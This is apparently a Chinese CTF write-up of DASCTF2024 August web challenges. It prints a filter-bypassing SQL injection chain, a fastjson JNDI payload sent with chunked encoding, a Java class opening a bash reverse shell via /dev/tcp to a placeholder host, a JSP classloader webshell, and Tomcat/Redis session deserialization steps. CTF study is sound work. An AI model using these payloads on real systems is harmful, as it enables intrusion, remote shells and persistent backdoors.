DASCTF2024八月开学季--web
DASCTF2024八月开学季 –web
Truman
随便输入很容易发现是ssti漏洞
直接一把梭哈
Monument
由于没有环境,并且懒得搭建,所以就抄一下官方WP,进行一下描述
sql
访问题目是个查询框 要求输入id,很明显是有回显sql注入
1-9能够查询出东西,其余的页面会回显notfound 或error
测试发现#
和空格被过滤了
-1'union/*/**/*/select/*/**/*/1,2,3,4--
//回显2 4
-1'union/*/**/*/select/*/**/*/1,2,3,database()--
//表名user
-1'union/*/**/*/select/*/**/*/1,2,3,group_concat(table_name)/*/**/*/from/*/**/*/information_schema.tables/*/**/*/where/*/**/*/table_schema/*/**/*/=/*/**/*/'user'--
//us???er,userinfo
-1'union/*/**/*/select/*/**/*/1,2,3,group_concat(column_name)/*/**/*/from/*/**/*/information_schema.columns/*/**/*/where/*/**/*/table_name='us???er'--
//id,username,content,info
-1'union/*/**/*/select/*/**/*/1,2,3,group_concat(id,username,content,info)/*/**/*/from/*/**/*/`us???er`--
这里us???er是一个表名,它包含特殊字符“?”用反引号包裹以确保解析正确处理标识符,而不将其误认为是其他符号或关键字的一部分
//1amdyesno,2intelnoyes,3Overclocked to 5GHz????50% of humans thank me,4Overclocked to 10GHz????100% of humans thank me,5ok????try to /ch4ng3us3r1nf0 page,6why????Lower versions
….服了,真的一点不会sql注入,但凡过滤一点东西我就懒得去看了。。。。。
就得到了/ch4ng3us3r1nf0
路由
fastjson
/ch4ng3us3r1nf0修改用户信息, 页面返回json对象,尝试post一个新的json对象去解析
很明显是个fastjson
版本不是很高,正常打
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Evil",
"autoCommit":true
}
}
发送时发现限制长度content-type
无论怎么短链接或者缩短payload长度无法降低到限制长度以下
请求走私chunked编码绕过长度限制
这里利用burp的插件转换为chunked编码即可
后面就是正常打fastjson的流程
import java.lang.Runtime;
import java.lang.Process;
public class Evil{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:port/#Evil 1099
就wp的复杂程度来说,很明显这道题是比ErloGrave
要简单的,但是却是0解题,就挺让人意外的
感觉关键点就是要把payload使用chunked编码来进行传输,这一点应该就是卡住的地方
ErloGrave
非预期
这道题其实是存在非预期的
因为给出的源代码只有两个
但是Erlo.war包中却多了个SerTestServlet.class
存在deserialize路由,能够反序列化上传的name
的名为serializedObject
的值
并且lib中存在cc3.1
直接打cc6即可
题目应该是不出网的,于是尝试写马
这里我就偷懒,使用官方WP中的马
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("Qst");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
echo '......'| base64 -d > /usr/local/tomcat/webapps/ROOT/shell.jsp
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="serializedObject">
<input type="submit" name="submit">
</form>
预期解
这个就是一个没接触过的知识点 ——– tomcat-session反序列化
tomcat-session反序列化
前提是conf/context.xml
中开启FileStore(session持久化功能)
<Store className="org.apache.catalina.session.FileStore" directory="/tmp/session" />
会把JSESSIONID的名称作为SESSION文件名的一部分进行读取之后反序列化
比如JSESSIONID=../../../../tmp/feng
,那么就会读取/xxxxxx/../../../../tmp/feng.session
的内容并反序列化
题目
题目的 Session 使用的是 tomcat-cluster-redis-session-manager 这个依赖
可以追踪发现处理session的逻辑
会把从Redis中读取的session进行反序列化
结合 tomcat session 的机制,得出可以将 payload 传入 Redis ,然后改到 JSESSION
password会被base64解密,然后作为值传入redis中
所以构造恶意base64数据进行一次登陆后
第二次登录时修改为JSESSIONID=fail::你第一次登录的username
即可
可以使用非预期中生成的erlo.ser,把他base64加密一下
import base64
path = "D:\\CTF\\tools\\ysoserial\\erlo.ser"
with open (path, 'rb') as f:
file_content = f.read()
print(base64.b64encode(file_content).decode())